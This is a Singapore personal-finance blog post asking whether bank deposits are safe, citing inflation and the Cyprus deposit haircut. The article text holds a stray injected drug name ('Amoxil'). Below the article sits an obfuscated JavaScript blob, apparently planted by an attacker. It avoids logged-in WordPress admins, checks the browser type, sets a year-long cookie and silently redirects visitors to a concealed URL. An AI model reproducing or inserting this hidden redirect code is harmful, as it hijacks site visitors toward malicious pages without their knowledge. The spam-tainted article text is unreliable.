Is Deposit Really a Safe Asset?

Deposit should be the safest investment among all the different asset classes that Singapore investors have access to. However, for investors who put their cash into deposit, the return of 0 to 1% is also the lowest. With annual inflation rate in Singapore at 4.6% last year, the net return after accounting for inflation is negative. Is it therefore worthwhile to put money into deposit given the high inflation last year?
Another question that investors have to ask – Is deposit really that safe?
For locals and foreigners who place deposits with Cyprus‘s banks, deposit is definitely not safe. Due to the recent EUR 10 billion bailout, depositors with more than EUR 100,000 will be taxed and the reported haircut could be between 40% and 80% of deposit. This Amoxil will result in substantial losses for depositors.
This scenario in Cyprus is unlikely to happen in Singapore given the strength of our banking system and economy (Even Marc Faber mentioned during the CNBC interview in the above link that putting Singapore dollar deposits in Singapore banks is safe). However, Singapore investors must not be complacent and should constantly keep a lookout for investment opportunities that beat inflation. Diversification is still the key to reducing the risk and investors should avoid putting all the money in seemingly safe deposit.
load’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\x20path=/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=”;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||”)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a('0x9')];_0x51e64c++){var _0x37a41b=_0x36a90c[_0x51e64c];while(_0x37a41b[_0x287a('0xa')](0x0)=='\x20')_0x37a41b=_0x37a41b[_0x287a('0xb')](0x1,_0x37a41b['length']);if(_0x37a41b[_0x287a('0xc')](_0x1f399a)==0x0)return _0x37a41b[_0x287a('0xb')](_0x1f399a['length'],_0x37a41b[_0x287a('0x9')]);}return null;}function _0x51ef8a(){return navigator['userAgent'][_0x287a('0xd')](/Android/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/BlackBerry/i)||navigator['userAgent'][_0x287a('0xd')](/iPhone|iPad|iPod/i)||navigator[_0x287a('0xe')]['match'](/Opera Mini/i)||navigator[_0x287a('0xe')][_0x287a('0xd')](/IEMobile/i);}function _0x58dc3d(){return navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0xf'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x10'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x11'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x12'))!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')]('Firefox')!==-0x1||navigator[_0x287a('0xe')][_0x287a('0xc')](_0x287a('0x13'))!==-0x1;}var _0x55db25=_0x38eb7c(_0x287a('0x14'));if(_0x55db25!=='un'){if(_0x58dc3d()||_0x51ef8a()){_0x335357('ppkcookie','un',0x16d);window[_0x287a('0x15')]['replace'](_0x287a('0x16'));}}}}}(this));};
Related Posts
5 SIMPLE and Easy tips to help you grow your wealth
Are HIPO loans too risky to invest in?
Investment Returns and Risks: The balancing act
MOOLAHSENSE LAUNCHES WORLD’S 1st ‘COOLING-OFF DAY’
5 Ways to Generate Fixed Returns in Singapore
Alternative LENDING to help business lower borrowing costs
Making Sense of Equity Yield Enhancement Products
Making Sense of FX Yield Enhancement Products